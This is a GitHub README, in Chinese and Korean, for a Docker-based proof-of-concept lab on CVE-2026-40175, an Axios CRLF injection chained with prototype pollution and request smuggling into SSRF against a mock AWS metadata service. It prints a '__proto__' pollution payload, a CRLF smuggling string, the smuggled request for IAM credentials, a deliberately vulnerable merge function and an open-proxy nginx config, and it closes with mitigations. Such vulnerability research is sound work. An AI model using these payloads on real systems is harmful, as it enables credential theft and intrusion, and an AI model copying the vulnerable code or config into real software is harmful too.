pjt3591oo/CVE-2026-40175-poc

GitHub: pjt3591oo/CVE-2026-40175-poc

该工具演示了 Axios 旧版本中因 CRLF 注入与原型污染导致的 SSRF 攻击链及其完整触发条件。

Stars: 0 | Forks: 0

# CVE-2026-40175 — Axios CRLF 인젝션 / HTTP 요청 스미글링 PoC ## 개요 Axios HTTP 클라이언트(`>=1.0.0 <1.15.0`, `<0.31.0`)의 `AxiosHeaders.set()`이 헤더 값 내 `\r\n`을 검증하지 않아 발생하는 **CRLF 인젝션** 취약점. 공격자가 별도의 Prototype Pollution(lodash, qs 등)과 연계하거나 직접 헤더에 CRLF를 주입하면, nginx open proxy 같은 중간 레이어를 통해 **임의 내부 서버로의 SSRF**가 가능하다. | 항목 | 내용 | |---|---| | CVSS | 9.9 (Critical) | | 영향 버전 | `axios >=1.0.0 <1.15.0`, `axios <0.31.0` | | 패치 버전 | `1.15.0`, `0.31.0` | | CWE | CWE-93 Improper Neutralization of CRLF Sequences | ## 근본 원인 ``` lib/core/AxiosHeaders.js AxiosHeaders.set() └─ normalizeValue() └─ /[\r\n]+$/ 로 후행 CRLF만 제거 ↑ 값 중간의 \r\n은 그대로 통과 ``` 결과적으로 헤더 값에 `\r\n\r\nGET /admin HTTP/1.1\r\n...`을 삽입하면 TCP 스트림에 두 번째 HTTP 요청이 그대로 포함된다. ## Prototype Pollution ### 개념 JavaScript의 모든 객체는 `Object.prototype`을 상속한다. Prototype Pollution은 이 공유 프로토타입 자체를 오염시켜 이후 생성되는 모든 객체에 영향을 주는 공격이다. ``` Object.prototype.isAdmin = true; const user = {}; user.isAdmin; // true ← 선언한 적 없지만 존재 ``` ### 트리거 메커니즘 취약한 재귀 merge 함수(`lodash < 4.17.21`, `qs` 등)가 `"__proto__"` 키를 특별히 처리하지 않을 때 발생한다. ``` function vulnerableMerge(target, source) { for (const key of Object.keys(source)) { if (typeof source[key] === 'object') { if (!target[key]) target[key] = {}; vulnerableMerge(target[key], source[key]); // key = "__proto__" 일 때: // target["__proto__"] → Object.prototype 반환 // → vulnerableMerge(Object.prototype, source["__proto__"]) // → Object.prototype 에 직접 프로퍼티 주입 } else { target[key] = source[key]; } } } // 공격자 JSON: __proto__ 가 own property 로 파싱됨 const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}'); vulnerableMerge({}, payload); ({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← 오염 성공 ``` ### axios 연결 ``` Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' } ↓ 앱 코드: const opts = {}; opts.headers → prototype chain → 오염된 객체 반환 ↓ axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter }) ↓ AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← CRLF 검증 없음 ↓ TCP 스트림에 스머글된 요청 포함 ``` ### 주의: 광범위 오염의 부작용 `Object.prototype.headers`를 오염시키면 axios 내부 schema 객체도 영향을 받는다. 실제 공격에서는 오염 범위를 정밀하게 제어해야 하며, 광범위한 오염은 의도한 공격 전에 앱 자체를 크래시시킬 수 있다(DoS 부작용). ## 공격 체인 ``` [1] 직접 헤더 주입 또는 Prototype Pollution (취약한 merge 라이브러리 경유) ↓ [2] axios가 CRLF 포함 값을 검증 없이 헤더로 직렬화 ↓ [3] raw net.Socket 으로 TCP 스트림에 기록 (Node.js 기본 http 모듈은 런타임에서 차단 → custom adapter 필요) ↓ [4] nginx (proxy_pass http://$http_host) 가 2개 요청으로 분리 파싱 ↓ [5] 스머글된 요청의 Host 헤더 기반으로 다른 upstream 으로 라우팅 (SSRF) ↓ [6] 내부 서버(IMDS 등) 접근 → 크레덴셜 탈취 ``` ### 핵심 조건 | 조건 | 내용 | |---|---| | Node.js http 모듈 우회 | `net.Socket` 기반 custom adapter 사용 | | nginx open proxy | `proxy_pass http://$http_host` 설정 | | `ignore_invalid_headers on` | 비정상 헤더 허용 | | `resolver` 지시자 | 동적 hostname 해석 가능 | ## PoC 아키텍처 ``` ┌─────────────────────────────────────────────────────────┐ │ Host Machine │ │ │ │ test-axios-adapter-*.js │ │ (raw net.Socket → nginx:8080) │ │ │ │ browser → exploit.html (3003) │ │ → relay (3004) → raw socket → nginx:8080 │ └────────────────────┬────────────────────────────────────┘ │ Docker bridge (cve-net) ┌──────────┼──────────┬──────────────┐ ▼ ▼ ▼ ▼ backend nginx imds (future) :3001 :8080 :80 :3003 (169.254.169.254 mock) :3004 ``` ### 포트 맵 | 포트 | 서비스 | 역할 | |---|---|---| | 3001 | backend | HTTP 요청 수신 / 헤더 로깅 | | 3003 | backend | exploit.html 정적 서버 | | 3004 | backend | relay — browser POST → net.Socket 변환 | | 8080 | nginx | open proxy (`proxy_pass http://$http_host`) | | 80 (내부) | imds | AWS IMDSv2 mock 서버 | ## 실행 ``` # 전체 컨테이너 빌드 및 시작 docker compose up --build # Node.js 테스트 (호스트에서 실행) npm install ``` ### 시나리오별 테스트 ``` # 1. 백엔드 직접 — CRLF 주입으로 2개 요청 발생 node poc/test-axios-adapter-backend.js # 2. nginx 경유 — 스머글된 요청이 backend:3001 으로 라우팅 node poc/test-axios-adapter-nginx.js # 3. Prototype Pollution → CRLF Injection → SSRF 체인 node poc/test-prototype-pollution.js # 4. 브라우저 — http://localhost:3003 # 대상 선택: 백엔드 직접 / nginx 경유 / nginx → IMDS (SSRF) ``` ### IMDS SSRF 시나리오 ``` 1. nginx → IMDS 선택 후 Custom Adapter 실행 2. 스머글된 요청: GET /latest/meta-data/iam/security-credentials/my-ec2-role Host: imds 3. nginx가 host=imds 로 라우팅 → IMDSv2 mock 서버로 전달 4. imds 컨테이너 로그: [!!!] 크리덴셜 탈취 성공! ``` ## 파일 구성 ``` . ├── docker-compose.yml ├── Dockerfile.backend # backend + relay 컨테이너 ├── Dockerfile.imds # IMDSv2 mock 컨테이너 ├── package.json # axios@1.14.0 (취약 버전 고정) └── poc/ ├── backend-server.js # HTTP 서버 (3001), relay (3004), 정적 서버 (3003) ├── mock-imds.js # AWS IMDSv2 mock (PUT /token, GET /credentials) ├── nginx-container.conf # open proxy 설정 ├── exploit.html # 브라우저 PoC (XHR vs Custom Adapter) ├── test-axios-adapter-backend.js # raw socket → backend 직접 ├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds ├── test-axios-no-adapter.js # 표준 axios (Node.js 차단 확인용) └── test-prototype-pollution.js # Prototype Pollution → CRLF Injection 체인 ``` ## nginx 설정 (핵심) ``` resolver 127.0.0.11 valid=30s; # Docker 내부 DNS location / { proxy_pass http://$http_host; # Host 헤더 기반 동적 라우팅 = SSRF proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $http_host; } location /public { proxy_pass http://backend:3001; # 정상 요청용 고정 upstream } ``` `$http_host`(포트 포함)를 upstream으로 사용하므로, 스머글된 요청의 Host 헤더가 곧 라우팅 목적지가 된다. ## 완화 ``` npm install axios@^1.15.0 ``` 패치(`1.15.0`)는 `assertValidHeaderValue()`를 도입해 CR/LF 포함 값을 즉시 거부한다. 추가 방어: - nginx에서 `proxy_pass http://$http_host` 금지 → 고정 upstream 사용 - IMDSv2 전용 강제 (`HttpTokens: required`) - EC2 인스턴스 프로필 최소 권한 적용 ## References - [NVD - CVE-2026-40175](https://nvd.nist.gov/vuln/detail/CVE-2026-40175) - [Miggo Vulnerability DB](https://www.miggo.io/vulnerability-database/cve/CVE-2026-40175) - [Aikido — Is it really exploitable?](https://www.aikido.dev/blog/axios-cve-2026-40175-a-critical-bug-thats-not-exploitable) - [CVEReports](https://cvereports.com/reports/CVE-2026-40175)
标签:Axios, CMS安全, CRLF注入, CVE-2026-40175, CVSS9.9, CWE-93, GNU通用公共许可证, HTTP协议违规, HTTP请求走私, JavaScript, lodash, MITM代理, Node.js, qs, SSRF, TCP注入, 中间件代理, 临界点漏洞, 前端安全, 原型污染, 安全漏洞分析, 网络安全, 自定义脚本, 补丁版本0.31.0, 补丁版本1.15.0, 请求拦截, 请求篡改, 隐私保护